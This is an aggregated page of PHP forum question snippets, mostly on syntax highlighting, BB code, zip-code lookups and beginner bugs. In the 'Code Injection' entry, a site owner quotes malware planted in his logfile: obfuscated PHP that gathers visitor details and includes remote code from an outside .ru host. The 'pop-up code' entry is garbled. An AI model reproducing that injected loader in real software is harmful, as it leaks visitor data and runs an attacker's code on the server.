Code Highlight For UltraDev 4
I have seen the method for making UltraDev 4 highlight the PHP code on the net but can't remember. Does someone know how or where I can find the method to do so.
View Complete Forum Thread with Replies
See Related Forum Messages: Follow the Links Below to View Complete Thread
Highlight Code/syntax?
I've seen this on many sites, including this one. Where you have a code (say, PHP), and different commands and functions are coloured in different ways. An example: <?php echo 'text'; ?> Various colours are used to highlight different parts of the code. I've tried google'ing it, but I found nothing. Anyone know how to do it?
Anyone Use UltraDev For Php Coding?
I'm considering using Dreamweaver for general web design and have seen that UltraDev can be extended to use php. Has anyone had experience of this and if so, what are the good/bad features of this? In particular, I would want to create code that accesses a mysql database. I currently do all this by hand.
Dreamweaver UltraDev Research
I work at Macromedia as the Product Manager for Dreamweaver UltraDev. If you're not familiar with UltraDev, it's a leading tool for visually creating dynamic websites. We are in the research phase for our next version and we're looking for experienced PHP developers in the San Francisco Bay Area to help us in our planning. We are inviting a small set of experienced developers to our offices for focus group discussions about the future architecture of UltraDev. Usually the discussions last on the order of an hour or two. It's a pretty exciting opportunity for developers to meet the team behind a leading authoring tool, and help to affect its development. We will provide a light dinner and a small gift for volunteers' time.
How To Highlight Cell
I have a table with 12 cols and 10 rows. When a user clicks on a table cell; the page is refreshed and displays some data below the table dependant on whichever cell was selected. I would like to make it so that whichever cell was clicked; the background color is changed - so that when the user sees the data, (s)he can tell which cell it relates to. Does anyone know of a clever way to do this ? I'm afraid my creativity is running a bit dry on this one as the only working way i could come up with so far is to have an if statement before each table cell is created, which is long winded.
List Box Highlight Id?
i am just trying highlight one of title in my select list box, when $dlist['id'] = $selvalue; so far my select highlights the first option. $selvalue = $_GET['id']; $outdata= "<select name="titles" >"; $outdata.="<option value=''> Please choose the Title</option>"; while( $dlist = mysql_fetch_array($result) ) $outdata.="<option value='".$dlist['id']. "'> " .$dlist['serial_number']. "-" .$dlist['title']. " </option>"; $outdata.="</select>";
How To Highlight Search Terms
Commonly done, eg. you enter a word in a search engine and when a hit-page comes up the search word(s) are highlighted. I'm doing a fulltext search that works well but I've tried a few "packaged scripts" and haven't got one to work yet. I'm looking for straightforward understandable way to do this on my MYSQL/PHP pages.
Problem Adding A Highlight With Imagecopymerge
I'm trying to use the PHP GD functions to make graphical changes to image files. In particular I'm trying to add a 'highlight' rectangle to an image. So far everything I've tried doesn't work as I'd expect. The best I've got is to make a copy of the rectangle and imagecopymerge() it back onto the original with a 'pct' value. This creates a visible region, but it isn't highlighted, it's always darker. Here is my code for this: function highlightSpot($image, $id, $posx, $posy) { global $spots; global $offset; // get coords of the box to highlight based on $id $box = spotLegend($image, $id, $posx, $posy); // get the spot information $spot = $spots[$id]; // get color index of existing map pixel // highlight the spot on the map $rectImage = imagecreatetruecolor($spot[3] - $spot[1], $spot[4] - $spot[2]); $setpixel = imagesetpixel($image, 0, 0, imagecolorallocate($rectImage, 0, 0, 0)); $index = imagecolorat($image, $spot[1], $spot[2] + $offset); $rgb = imagecolorsforindex($rectImage, $index); $color = imagecolorallocate($rectImage, $rgb["red"], $rgb["green"], $rgb["blue"]); // copy section of image to new image imagecopy($rectImage, $image, 0, 0, $spot[1], $spot[2] + $offset, imageSX($rectImage), imageSY($rectImage)); // merge highlight onto map imagecopymerge($image, $rectImage, $spot[1], $spot[2] + $offset, 0, 0, imageSX($rectImage), imageSY($rectImage), 80); imagerectangle($image, $spot[1], $spot[2] + $offset, $spot[3], $spot[4] + $offset, imagecolorallocate($image, 0, 0, 0)); // clean up imagedestroy($rectImage); } What I'd really like is to create a highlighted rectangle in yellow, like someone drew on the image with a 'highlighter'.
Highlight Dynamically Generated Text
I have a search form which makes queries to a database. In the form the user can search for many words (word1 && word2 && word3). I want in the results to highlight the words that the user has searched for. I 've searched in the internet and i've found some codes but none of them works with all the possible results. What I have found so far which is closer to what I want is the following:
Highlight Search Terms In Results Pages
I am trying to find a script or code that will highlight search terms output from my MySql db. I have posted a portion of my pagination page below. The pagination script provides ten records at a time. For example, I need code, a script, or a funtion to grab the search term coming from the user and generate highlighted keywords when the keywords are entered by the user in the html forms search box. In the code below, I have inserted sample code so you can see how the display appears. In actual practice, the $Source, $Topic, $Subtopic, and $References values come from the while(list($Source, $Topic,$Subtopic,$References)= mysql_fetch_row($result2)) { code line. Code:
Highlight/bold Largest Number In A Column
i have my database setup to show weights of the item. How can i tell my php script to highlight the cell in the table or bold the weight in the table? i hope what im trying to say makes sense. instead of sorting it by the heaviest weight i just want to be able to highlight/or bold the heaviest weight so the names of the items stay in alphabetical order. and i will be able to tell which item is heavier.
Highlight Found Boolean Search Terms
I have a boolean search feature for my site. On the standard non-boolean search features I have highlighting of the found terms. I want to be able to highlight found terms of a boolean search. Is there a way to highlight found search terms for a boolean result set? OR Is there a way to explode the result string of the Select statement and pick out the words used by the embedded MySql boolean search engine? Code:
Old Code Vs New Code - Language Syntax Change?
I've recently begun programming PHP again and have found my old code doesn't work anymore. It's been a few years since my code was written, and simple functions don't seem to be working. I've done a bit of research into the syntax again and found the following; I used to use a function as such; if ($REQUEST_METHOD=="POST") { Now I've seen alot of the syntax is if ($_SERVER($REQUEST_METHOD=="POST")) { And referencing variables from the form is as such; $_POST['variable'] Where previously I could reference them in the simple form; $variable Has there been a language syntax change that would cause my old code to be obsolete? Is there a configuration line that could be changed to allow this old code to work?
BB Code - Escape A Bracket In BB Code?
Is there a way to escape a "bracket" in BB code? The beginning of a bbcode post I made starts with something in brackets [like this]. This causes a strange thing to happen to the remainder of my post. Removing the brackets makes my post normal. That shows me that I need to escape the brackets. However, a simple backslash does not seem to do the trick i.e. this [wont work] I am not the administrator of the bb forum, just a poster. So I need to know what to do on my end (as opposed to an adiministrator's power to reconfigure, etc.
Code To Display My Code
I am taking a class in PHP and thought that it would be nice to display the PHP code that generated my pages when the user clicked a link (or submit button). I have seen page that will display the underlying HTML on the page and it would be a nice touch...
BB Code
i am making my own forums and i've got everything working pretty good except the bb code. i can get the easy ones like bold and emails but ones like 'url=index.php'Test'/url' (' = [ and ]) confuse me. i could get it if it was just url= or just plain url but when it can be either one i can't get it to work right.
How To Add A Pop-up Code To Php
cecho"<script>" . "function openpopup()" { . "var popurl="clip.html"" . "winpops=windows.open(popurl,"",width=640,height=480,toolbar,directories,scrollba rs," } . "</script>"Hi, ˙. "</script>"Hi, s.open(popurl,"",width=640,height=480,toolbar,directories,scrollba rs," in.php?op=modules">"._ADDAHOME."</a> ]</center>";
GPS, Zip Code DB
I am searching for a database that I can write a PHP application against. I am not looking for bulky packages, or anything fancy or maps, ... just some raw SQL data I can mix & match from tables, ... stuff like Zip codes, Latitude and Longitude, and any other basic address & coordinate info. I can cross reference and tie...
SSL Php Code
I am using linux, php and trying to do some ssl code. I want to send some identifier that connects my database to the client browser. I was looking into a secure cookie. I only want the page accessed over a SSL connection. Whats the best way to insure the clinet browser can only see my page if they are ssl connected to it? In adding a 1 to the end of my send cookie code, it sends the cookie regardless of if they are ssl connected or not.
Zip Code
I have a database of zipcodes with latitude and longitude. I also have the method of calculating the distance between two zipcodes. What I want to know is if there is an efficient algorithm for obtaining the zip codes within a specified distance of the first zipcode without having to retrieve and calculate for every record in the database.
Zip Code From IP
I found this on the internet in a process of grabbing weather from weather.com and it uses the IP to trace back the closest zip code. It looks up the whois info in arin.net and once, worked correctly. I was wondering if anyone knew why it no longer grabs the correct zip code. I don't want the weather anymore but rather just the zipcode. Code:
Code?
This is straight out of a book I'm reading to learn PHP. I'm thinking maybe I set either apache or PHP up incorrectly on my computer. Simpler PHP's snippets work fine so I just don't know. Could someone look this over and see if I have a problem? <?php function printColor($text, $color="black", &$count=NULL) { //print the text with style print("<span style="color: $color">" . "$text</span>"); //if given a count, increment it if(isset($count)) { $count++; } } //call with one argument printColor("This is black text"); print("<br> "); //override default color printColor("This is blue text", "blue"); print("<br> "); //pass in count reference $c = 0; printColor("This is red text", "red", $c); print("<br> "); printColor("This is green text", "green", $c); print("<br> "); print("Count: $c<br>"); ?>
PHP Bug (or My Bad Code)?
Consider this code: <? $mask_n = (pow(2,32) - (pow(2,32-24)-1)); printf("%x ", $mask_n); ?> On PHP 4.1.2 it prints: ffffff00 On PHP 4.3.10 is prints: ffffff01 Both versions of PHP are the standard Debian packaged versions (4.1.2 from Woody, 4.3.10 from Sarge) tecra# php -v PHP 4.3.10-9 (cli) (built: Mar 6 2005 17:45:14) Copyright (c) 1997-2004 The PHP Group Zend Engine v1.3.0, Copyright (c) 1998-2004 Zend Technologies admin# php -v 4.1.2 Results are (predictably) the same under both the CLI version and under the Apache module. Is this a bug in PHP, or is there something broken in my code?
Zip Code
I have this code that returns the distance between two zip codes and will return a radius of zips within so many miles. I am wanting to add onto this code to have it select from a new table that I have all of the rows of zip codes within that range. This new table would have name, address, zip, ect. Code:
Php Code In A .gif?
I have heard of it being done, But i cant quite figure out how its done. I would like to make a .gif that would maybe have a mail() or something in it.
Add Code To My Code
I have a good file exists code and want to add it to a different file, i tried several times but i get coninual errors. Could someone please help me and paste my code into my full file, i promise to learn from your work. i know it should be simple but im a bigginer to php. Code:
Add Code To Code
how i can add code 1 to code 2 witch is below?what im trying to do is have a banned email code so when some one signs up it will say the email has been banned i have a table in my database with the list of emails that i want banned its called banned_emails and iin the banned emails table its called banned_email that is where the emails are Code:
Run The Code More Than Once...
I am trying to get my code running more than once when a user submits their form. For example, when a user vists the page called "search", then can enter a number between 1 and 100. Once they hit submit, I want the code to run completely, x amount of times, depending on what the user requests.
BB Code
Can someone give me an example of how the BB Code works? Basicly I have a page were users add comments... I got all the nessesery options like B I U Image Link, Smiles... Now when the comment has been posted how can i change all those [B][i][u] :) :-) into html code and images..
BB Code
Im trying to replace certain bits of text that is displayed from the database $fetch->quote to allow BB Codes. So if they enter into the quote, it will output <center> Can someone help me please? i have a file that i was told should do it, but i dont see how it works as nothing is assigned to $txt ... <? function replace($txt) { $txt = str_replace(":sup:", "<img src="../images/smiles/thumbsup.gif">", $txt); return $txt; ?>
Code Obfuscation
I am a PHP developer on a web design company. I was told to protect the PHP code I write obfuscating it. I found a lot of tools for doing that, mostly scripts on websites that work very well. but the problem is that a medium project can have like 30 or maybe more PHP files. how to maintain consistency between function names that are on other files? an example. two php files. one of them has a function and the other one calls that function. what if the function name on the two files are different? do it exist any software that can obfuscate several PHP files?
Using Sudo Or Su In Php Code
I am writing an admin page that needs to create a folder on a hosted web server. Problem: I had tried using PHP's mkdir() but that created a uid and gid of "apache", which made it impossible to modify, delete or write to from a web page. I have been reading about using "sudo" or "su -root" but have not been able to get it to work. Question: How can I use either sudo or su to change the user and group permissions of a folder/file? My Code: In the code below, the folder is created and the user/group permissions are set to "apache". But I get no error msgs nor is the user/group changed from/by the passthru cmds.
Export Sql Code
Can I use a php script to move a database from a db on my local machine to a db on a server.. How exactly would it be structured, and what commands would I have to use? I'm also looking into using mysql to export the code and content from the db on my computer and then import it using phpMyAdmin on the server, but I still havent found out how to do that after searching these forums and reading through the mysql manual.
Code Organization
Is there any article anyone can point me to which talks basically about code organization? As I add more files, I realise the code can get quite messy and confusing. How is it that I can organise it better? Other than indention and comments, should I use classes? How should I break up my files?
Slow Code. Could I Do This Better?
I have a page that serves as a calendar for an object. On this page theres a section that automaticaly generats every day in the selected year, in a month by month fassion. What I'm trying to acomplish is to set bgcolor to green if the object is vacant, and red if not. I get this to work, but it's paintaking slow the way I do it. wich is: PHP Code:
Code Injection
I have a simple "Send an ecard" (my own flavour, as a way of learning php), and someone's hacked in to a logfile, through my own silly mistake. I'd just put a logfile (with the one-liner below) in to record anyone messing with it. Yes, I should have used chmod 0600. <?php header('Location: /'); exit; ?> What they'd done is to insert their code between the php closing bracket. <?php header('Location: /'); exit; error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_en code($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_dec ode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZ S5ydQ==")."/?".$str);}?>
What's Wrong With This Code?
I keep getting parse errors on line 10 (the "if (isset($LOGINID)) {" line). Can any of you figure out why the hell I keep getting this? Is is just something simple I'm overlooking? And if you have any comments on my code (security, structure, tips, etc), I'd like to know as well... [edit] Oh yeah, the db_connect, db_array, db_query, and decrypt functions are all defined in database.php and crypt.php. PHP Code:
What's Wrong In This Code
$link = mysql_pconnect ($DB_SERVER, $DB_LOGIN, $DB_PASSWORD); $selectStmt = "SELECT * FROM user_profile WHERE userid = 'david'"; if (!($result = mysql_db_query($DB, $selectStmt, $link))){ header("Location:http://$HTTP_HOST/$DOCROOT/error.html"); exit(); } here is the case, the userid 'David' is NOT in the table 'user_profile', the program should launch the error.html, and exit(), But it is not.
What's Wrong With This Php Code?
I put the following php code inside my index.html page. I upload it to my host server (free.prohosting.com), change the extension to php (and another one with php3)and CHMOD it to 644. When i viewed it in a browser, the normal html appeared but the items inside the php code failed to appear. Can somebody help me to confirm whether there is something wrong with my php code (it is a news grabber code) or is it because my webhost don't support php (the unofficial FAQ says that the server support php). If there is something wrong with my php code, here is the code: PHP code:
PHP And CGI Checking Of The Code
im trying to write a php app for my forums so when a user posts a message that has some programming code in it they can click on a link i plan on setting up that has a text box for them to paste the code into and hit a button (well call it submit) after they hit the button then the code is read and the syntax of this code is colorized much like Crimson editor does for its differant sytanx. programming the checking of the code isnt my problem im having trouble figureing out a way to make it so when they inpute it it gets sent to a php program to be checked and then sent back with the proper color tages..so if they were to enter in the text box: <?php // blah blah blah then soem more crap here ?> they then hit submit the program checks it and sees the syntax for php so it coloriz's it as php syntax and sends back the text liek this <?php // blah blah blah then some more crap here ?> Quote: and the code would looke liek this the [] are () so it doesnt show colors in this part but the code will be with the [] <?(color=blue)php(/color) (color=green)// blah blah blah(/color) then some more crap here ?> and then when they copy and paste it into the forum its then colorized as php syntax, any ideas or a tutorial on how to get a CGI script to call a php file to runs checks would be great.
Get Code From Another Site
I would like to (lets just call it) borrow a piece of code from another website. The website in question is published totally in Microsoft Frontpage, some very ancient version with totally flat HTML. (Not my site, not under my control. The owners have no interest in changing the site) Is it possible in PHP to take a piece of code from this website and reference it on my page, I was thinking of something along the lines of: GREP from sitename | referencing this page | inside these markers I've spoken with my web developers and they tell me I can use Iframe tags or RSS feeds, both of which I do not believe will allow me to accomplish this.
E-mail Code
First: how can I write php code that alert me when I have new mail? such as Gmail Second:Where can I find "libgmailer" sample code? for example reading new mail or sending mail and more..
Succinct Code
Are there any tutorials/articles that talk about succinct PHP coding practices? For example, articles on how to decrease the amount of code you have, speed etc...
Problem With Code
I have this simple problem with some PHP5 code using MySQL 5 on Windows and IIS 6. I think it has to do with my programming logic but I still can't figure it out? 1. What is happening is the password function works BUT if you put in the right username and wrong password it DOES NOT print out the message 'Password doesn't match!' Am I not using the 'elseif' statement properly? 2. Not sure if this is a logic problem, using MySQL functions properly or not using PHP5 functions properly. Thanks for any help anyone can give me!
Reg EX (Forum Code)
I am trying to allow a user to type a url such as [!url=blah!]http://www.ajb007.co.uk[!/url!] then this will be converted into a link, to do this I am using the following RegEx: PHP Code:
Writing Code.
I want the user to have some setup options such as changing the name variable, emal varable, among other things in an online format. I am not using MySQL with this script. So what I was thinking was the following, where $name and $email are the name and email variables, and $enter_name and $enter_email are the user input to change these values in variables.txt: <BLOCKQUOTE><font size="1" face="Verdana,Arial,Helvetica">code:</font><HR><pre> $fp = fopen($file, "r+"); $write_to_file = "write the excact same code as in variables.txt except change each value to the users input"; fwrite($fp, $write_to_file); fclose($fp); [/code] What I mean (the description you see of $write_to_file) is I want it to rewrite variables.txt with the new input. So, How can I write PHP code in a variable?
Protecting The Code
I am new to PHP. I did all my development in ASP. What I need to do is protect my code in PHP. In ASP, I make COM objects which protect the code. How do you do this in PHP? Can PHP code be compiled into some EXE or something?
|